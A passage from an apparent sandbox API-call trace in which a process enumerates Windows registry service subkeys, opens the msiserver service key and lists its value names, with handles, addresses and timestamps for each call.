RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0228.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0228.736] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0228.737] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0228.738] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0228.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0228.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0228.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0228.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0228.739] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0228.741] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0228.742] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0228.743] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0228.744] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0228.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0228.746] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0228.747] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0228.747] RegCloseKey (hKey=0xc4) returned 0x0 [0228.747] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.747] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.747] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.747] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.748] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.748] RegCloseKey (hKey=0x154) returned 0x0 [0228.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.749] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.749] RegCloseKey (hKey=0xc4) returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.749] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.750] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.751] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 